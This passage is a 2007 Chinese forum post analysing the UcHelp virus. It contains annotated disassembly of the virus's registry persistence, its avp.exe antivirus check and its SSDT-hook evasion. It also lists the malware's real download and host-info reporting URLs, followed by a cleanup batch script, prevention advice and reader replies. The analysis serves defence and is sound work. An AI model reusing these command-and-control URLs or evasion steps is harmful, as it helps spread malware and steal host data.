  1221. 004017D0  |.  8B5424 0C     MOV EDX,DWORD PTR SS:[ESP+C]
  1222. 004017D4  |.  8B3D 14204000 MOV EDI,DWORD PTR DS:[<&advapi32.RegSet>;  advapi32.RegSetValueExA
  1223. 004017DA  |.  50            PUSH EAX              ; /BufSize
  1224. 004017DB  |.  68 D4224000   PUSH UnPack_D.004022D4 ; |Buffer = UnPack_D.004022D4
  1225. 004017E0  |.  6A 01         PUSH 1                  ; |ValueType = REG_SZ
  1226. 004017E2  |.  6A 00         PUSH 0                  ; |Reserved = 0
  1227. 004017E4  |.  68 D0224000   PUSH UnPack_D.004022D0 ; |ValueName = ""
  1228. 004017E9  |.  52            PUSH EDX              ; |hKey
  1229. 004017EA  |.  FFD7          CALL EDI              ; \RegSetValueExA
  1230. 004017EC  |.  8B4424 0C     MOV EAX,DWORD PTR SS:[ESP+C]
  1231. 004017F0  |.  50            PUSH EAX              ; /hKey
  1232. 004017F1  |.  FF15 10204000 CALL DWORD PTR DS:[<&advapi32.RegCloseK>; \RegCloseKey
  1233. 004017F7  |.  8D4C24 0C     LEA ECX,DWORD PTR SS:[ESP+C]
  1234. 004017FB  |.  51            PUSH ECX            ; /pHandle
  1235. 004017FC  |.  68 94224000   PUSH UnPack_D.00402294
  1236. ; |Subkey = "CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}\InprocServer32"
  1237. 00401801  |.  68 00000080   PUSH 80000000        ; |hKey = HKEY_CLASSES_ROOT
  1238. 00401806  |.  FFD3          CALL EBX           ; \RegCreateKeyA
  1239. 00401808  |.  8D5424 10     LEA EDX,DWORD PTR SS:[ESP+10]
  1240. ;  以下是 建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}等与之关联项目
  1241. 0040180C  |.  52            PUSH EDX                                ; /String
  1242. 0040180D  |.  FFD6          CALL ESI                                ; \lstrlenA
  1243. 0040180F  |.  8B4C24 0C     MOV ECX,DWORD PTR SS:[ESP+C]
  1244. 00401813  |.  50            PUSH EAX                      ; /BufSize
  1245. 00401814  |.  8D4424 14     LEA EAX,DWORD PTR SS:[ESP+14]; |
  1246. 00401818  |.  50            PUSH EAX                      ; |Buffer
  1247. 00401819  |.  6A 01         PUSH 1                         ; |ValueType = REG_SZ
  1248. 0040181B  |.  6A 00         PUSH 0                         ; |Reserved = 0
  1249. 0040181D  |.  68 D0224000   PUSH UnPack_D.004022D0        ; |ValueName = ""
  1250. 00401822  |.  51            PUSH ECX                      ; |hKey
  1251. 00401823  |.  FFD7          CALL EDI                      ; \RegSetValueExA
  1252. 00401825  |.  68 8C224000   PUSH UnPack_D.0040228C        ; /String = "Both"
  1253. 0040182A  |.  FFD6          CALL ESI                      ; \lstrlenA
  1254. 0040182C  |.  8B5424 0C     MOV EDX,DWORD PTR SS:[ESP+C]
  1255. 00401830  |.  50            PUSH EAX                      ; /BufSize
  1256. 00401831  |.  68 8C224000   PUSH UnPack_D.0040228C ; |Buffer = UnPack_D.0040228C
  1257. 00401836  |.  6A 01         PUSH 1                         ; |ValueType = REG_SZ
  1258. 00401838  |.  6A 00         PUSH 0                         ; |Reserved = 0
  1259. 0040183A  |.  68 7C224000  PUSH UnPack_D.0040227C ; |ValueName = "ThreadingModel"
  1260. 0040183F  |.  52            PUSH EDX                      ; |hKey
  1261. 00401840  |.  FFD7          CALL EDI                      ; \RegSetValueExA
  1262. 00401842  |.  8B4424 0C     MOV EAX,DWORD PTR SS:[ESP+C]
  1263. 00401846  |.  50            PUSH EAX                                ; /hKey
  1264. 00401847  |.  FF15 10204000 CALL DWORD PTR DS:[<&advapi32.RegCloseK>; \RegCloseKey
  1265. 0040184D  |.  E8 AEF7FFFF   CALL UnPack_D.00401000       ;  检测是否有 avp.exe
  1266. 00401852  |.  84C0          TEST AL,AL
  1267. 00401854  |.  74 2E         JE SHORT UnPack_D.00401884
  1268. 00401856  |.  8B4D 08       MOV ECX,DWORD PTR SS:[EBP+8]
  1269. 00401859  |.  6A 05         PUSH 5                      ; /ShowState = SW_SHOW
  1270. 0040185B  |.  6A 00         PUSH 0                     ; |/lParam = 0
  1271. 0040185D  |.  68 F0134000  PUSH UnPack_D.004013F0; ||pDlgProc = UnPack_D.004013F0
  1272. 00401862  |.  6A 00         PUSH 0                     ; ||hOwner = NULL
  1273. 00401864  |.  6A 6C         PUSH 6C                   ; ||pTemplate = 6C
  1274. 00401866  |.  51            PUSH ECX                  ; ||hInst
  1275. 00401867  |.  FF15 E0204000 CALL DWORD PTR DS:[<&user32.CreateDialo>; |\CreateDialogParamA
  1276. 0040186D  |.  50            PUSH EAX                                ; |hWnd
  1277. 0040186E  |.  FF15 E4204000 CALL DWORD PTR DS:[<&user32.ShowWindow>>; \ShowWindow
  1278. 00401874  |.  E8 F7F7FFFF   CALL UnPack_D.00401070
  1279. ; 又要利用 sysret.dat向GDT添加一个callgate,以便R3的程序可以调用这个callgate来干一些只有R0才能干的事例如恢复杀毒软件或HIPS软件的SSDT HOOK
  1280. 00401879  |.  68 E8030000   PUSH 3E8                        ; /Timeout = 1000. ms
  1281. 0040187E  |.  FF15 2C204000 CALL DWORD PTR DS:[<&kernel32.Sleep>]   ; \Sleep
  1282. 00401884  |>  E8 97F9FFFF   CALL UnPack_D.00401220  ; 加载zipext32.dll到Explorer
  1283. 00401889  |.  E8 62F8FFFF   CALL UnPack_D.004010F0
  1284. ;  在临时文件夹里面船舰 7ztmp.bat ,写入删除该程序的批处理,并运行
  1285. 0040188E  |.  5F            POP EDI                           ;  ntdll.7C930738
  1286. 0040188F  |.  5E            POP ESI
  1287. 00401890  |.  33C0          XOR EAX,EAX
  1288. 00401892  |.  5B            POP EBX
  1289. 00401893  |.  8BE5          MOV ESP,EBP
  1290. 00401895  |.  5D            POP EBP
  1291. 00401896  \.  C2 1000       RETN 10



  1292. ======================================================================
  1293. 00401000  /$  81EC 28010000 SUB ESP,128
  1294. 00401006  |.  56            PUSH ESI
  1295. 00401007  |.  57            PUSH EDI
  1296. 00401008  |.  6A 00         PUSH 0              ; /ProcessID = 0
  1297. 0040100A  |.  6A 02         PUSH 2             ; |Flags = TH32CS_SNAPPROCESS
  1298. 0040100C  |.  E8 95080000   CALL <JMP.&kernel32.CreateToolhelp32S>; \CreateToolhelp32Snapshot
  1299. 00401011  |.  8BF8          MOV EDI,EAX       ;  建立系统进程列表句柄
  1300. 00401013  |.  8D4424 08     LEA EAX,DWORD PTR SS:[ESP+8]
  1301. 00401017  |.  50            PUSH EAX                          ; /pProcessentry
  1302. 00401018  |.  57            PUSH EDI                           ; |hSnapshot
  1303. 00401019  |.  C74424 10 280>MOV DWORD PTR SS:[ESP+10],128     ; |
  1304. 00401021  |.  E8 7A080000   CALL <JMP.&kernel32.Process32First>   ;\Process32First
  1305. 00401026  |.  85C0          TEST EAX,EAX                      ;枚举进程
  1306. 00401028  |.  74 28         JE SHORT UnPack_D.00401052
  1307. 0040102A  |.  8B35 A4204000 MOV ESI,DWORD PTR DS:[<&msvcrt._strcm>;  msvcrt._stricmp
  1308. 00401030  |>  8D4C24 2C     /LEA ECX,DWORD PTR SS:[ESP+2C]
  1309. 00401034  |.  68 1C214000   |PUSH UnPack_D.0040211C          ;  ASCII "avp.exe"
  1310. 00401039  |.  51            |PUSH ECX
  1311. 0040103A  |.  FFD6          |CALL ESI
  1312. 0040103C  |.  83C4 08       |ADD ESP,8
  1313. 0040103F  |.  85C0          |TEST EAX,EAX
  1314. 00401041  |.  74 1A         |JE SHORT UnPack_D.0040105D
  1315. 00401043  |.  8D5424 08     |LEA EDX,DWORD PTR SS:[ESP+8]
  1316. 00401047  |.  52            |PUSH EDX                           ; /pProcessentry
  1317. 00401048  |.  57            |PUSH EDI                            ; |hSnapshot
  1318. 00401049  |.  E8 4C080000   |CALL <JMP.&kernel32.Process32Next>   ; \Process32Next
  1319. 0040104E  |.  85C0          |TEST EAX,EAX
  1320. 00401050  |.^ 75 DE         \JNZ SHORT UnPack_D.00401030
  1321. 00401052  |>  5F            POP EDI                            ;  列举进程
  1322. 00401053  |.  32C0          XOR AL,AL
  1323. 00401055  |.  5E            POP ESI
  1324. 00401056  |.  81C4 28010000 ADD ESP,128
  1325. 0040105C  |.  C3            RETN
  1326. 0040105D  |>  5F            POP EDI
  1327. 0040105E  |.  B0 01         MOV AL,1
  1328. 00401060  |.  5E            POP ESI
  1329. 00401061  |.  81C4 28010000 ADD ESP,128
  1330. 00401067  \.  C3            RETN



  1331. 3.5 ZipExt32.dll的分析

  1332. 这个dll 类似于木马下载者,汇编代码略

  1333. 工作流程:
  1334. 1. 下载 http://www.black163.com/mm/cfg2.txt 到 C:\z.ini
  1335.   --从这个名字来看,应该是配置文件

  1336. 2. 发送本地主机信息到网络服务器
  1337. http://www.black163.com/mm/dg1/log.asp?isnew=1&LocalInfo=%s&szHostName=%s&tmp3=tmp3
  1338. http://www.black163.com/mm/dg1/log.asp?isnew=0&LocalInfo=%s&szHostName=%s&tmp3=tmp3

  1339. LocalInfo=本地信息
  1340. zHostName=主机名字
  1341. 将本地及其参数发到 网上去
  1342.   

  1343. 3. 下载网络程序
  1344. http://www.black163.com/u319.exe
  1345. http://mm.black163.com/u319.exe
  1346. 下载 u319.exe 并运行~
  1347.   --可能是类似木马升级吧,使用完下载好的程序后删除该文件.

  1348. 4. 运行以下程序(网络下载下来的程序改名后的程序)
  1349. wsctny1.exe
  1350. wsctny2.exe
  1351. wsctny1.tmp

  1352. 4.        伪装成 Alex数字签名Alexander Roshal




  1353. 第四章        附录

  1354. 清除病毒一般的方法是,关闭病毒进程,修复病毒关联,清除病毒程序,修复感染文件。下面我们就对 UcHelp 病毒进行手动清除病毒。

  1355. 4.1 UcHelp病毒清除脚本

  1356. @Rem 将下面的代码复制下面的句子到记事本,然后保存为“任意文件名.bat”,再双击运行即可清除病毒。

  1357. Title UcHelp 病毒专杀脚本 1.070601 Write By Cater QQ:24882688
  1358. color 0a
  1359. cls

  1360. @echo ***********************************
  1361. @echo *   UcHelp 病毒专杀脚本 1.070601  *
  1362. @echo *   说明:                        *
  1363. @echo *       本程式自动关闭和清理UcHelp*
  1364. @echo *   病毒相关文件!                *
  1365. @echo *   Make By Cater 江海 [一品堂]   *
  1366. @echo *   QQ:24882688  2007年06月01日   *
  1367. @echo ***********************************
  1368. @echo.

  1369. @echo 按任意键开始执行病毒清理程式
  1370. @echo.
  1371. @pause
  1372. @Rem        关闭 Explorer 进程
  1373. taskkill /im explorer.exe /f

  1374. @Rem        强制删除系统中的病毒文件
  1375. del /q /f "C:\tmp.hiv"
  1376. del /q /f "C:\sysret.dat"
  1377. del /q /f "C:\sysret.sys"
  1378. del /q /f "c:\windows\system32\AceExt32.dll"
  1379. del /q /f "c:\windows\Downloaded Program Files\Ext32.dat"
  1380. del /q /f "c:\windows\Downloaded Program Files\Ext32.dll"
  1381. del /q /f "c:\windows\Downloaded Program Files\CxUSBKey.exe"
  1382. del /q /f"c:\windows\Downloaded Program Files\ZipExt32.dll"

  1383. @Rem        删除注册表中被病毒修改的键值
  1384. reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad /v ZipExt32 /f
  1385. reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad /v AceExt32 /f
  1386. reg delete HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140} /f
  1387. reg delete HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150} /f
  1388. reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDro /f

  1389. @Rem        删除其他逻辑分区里面的AutoRun.inf 以及 相应病毒文件
  1390. for %%a in (c,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do for %%d in (%%a:\RECYCLER\UcHelp.exe,%%a:\RECYCLER\desktop.ini,%%a:\autorun.inf) do del /q /f %%d

  1391. @Rem        恢复资源管理器进程
  1392. Start Explorer

  1393. @Echo        脚本执行完毕,按任意键退出。


  1394. 这个脚本我已经编译好了,双击以下图标即可下载我编译好的批处理脚本。
  1395.   


  1396. 4.2         病毒预防措施

  1397. 通过对这个病毒程序的分析我们清晰的看到病毒程序传播以及执行的过程。

  1398. 第一步:激活病毒程序
  1399.         方式一:人为点击或运行病毒程序
  1400.         方式二:利用系统漏洞自行的让系统下载并执行病毒程序
  1401.         移动存储Autorun 病毒就是利用系统对AutoRun.ini文件读取里面的运行参数的。

  1402. 第二步:复制病毒并传播
  1403.         任何一款病毒都具有复制与传播特性,网页木马(网页收割者),邮件病毒(MSN病毒邮件),以及威金和熊猫烧香

  1404. 第三步:隐藏保护自己
  1405.         比如这里的 UcHelp 病毒就是利用SSDT HOOK 对 病毒文件进行隐藏。有的病毒程序利用多进程进行对自己的保护,还有的就是利用系统文件名进行伪装和欺骗。

  1406. 综合以上的环节我们看到,对于病毒的预防我们应该作到以下两点

  1407. 1.        注意可执行程序的是否安全,下载文件的时候我们也应该去一些信任度高的站点
  1408. 2.        及时打补丁,访问信任度高的站点,并适量控制系统对自动播放功能的使用

  1409. 如果病毒程序已经执行了,移动存储中已经携带病毒了,我们应该注意对这些移动存储的使用进行控制,防止病毒传播。

  1410. 基本解决方法:关闭病毒进程,修复病毒关联,清除病毒程序,修复感染文件。


  1411. 参考资料

  1412.         360安全卫士 MJ0011 对sysret.sys 功能的补充
  1413.         xyzreg
  1414. 利用RestoreKey修改注册表的方式饶过部分主动防御软件及杀毒软件对修改注册表监控
  1415.                 驱动开发网上对驱动文件调试的文摘
  1416.                 DebugMan 论坛上面对驱动程序的逆向分析的文章
复制代码

UcHelp 病毒分析.zip

140.8 KB, 下载次数: 117, 下载积分: 飘云币 -2 枚

PYG19周年生日快乐!

该用户从未签到

发表于 2007-12-1 17:04:47 | 显示全部楼层
不错的文章。学习下!膜拜下!!
顺便问下LZ,分析病毒从OD载入就开始F8分析么?

[ 本帖最后由 senots 于 2007-12-1 17:05 编辑 ]
PYG19周年生日快乐!

该用户从未签到

发表于 2007-12-1 18:05:03 | 显示全部楼层
不错的文章,不过现在比较菜,。/:014
PYG19周年生日快乐!

该用户从未签到

发表于 2007-12-2 13:18:05 | 显示全部楼层
不错的文章学习了........
PYG19周年生日快乐!
  • TA的每日心情
    开心
    2019-11-7 21:14
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2007-12-2 16:34:20 | 显示全部楼层
    太深奥了,留着以后慢慢学。
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2007-12-6 13:25:30 | 显示全部楼层

    回复 2# 的帖子

    有时需要动态分析的
    不过 静态的比较多

    玩病毒分析最好安装 Vmware,动态跟踪生动点

    嘿嘿,sys 驱动的静态分析学习中.........
    IDA 好强大,学习中
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-12-6 20:48:15 | 显示全部楼层
    非常深奥,很多都涉及底层的运作机制。只能慢慢消化了。
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-12-16 05:33:38 | 显示全部楼层
    深澳~~/:010 /:010
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-12-23 19:55:42 | 显示全部楼层
    谢谢楼主分享。。。。。。支持!
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-12-25 15:49:08 | 显示全部楼层
    有几个病毒样本?
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表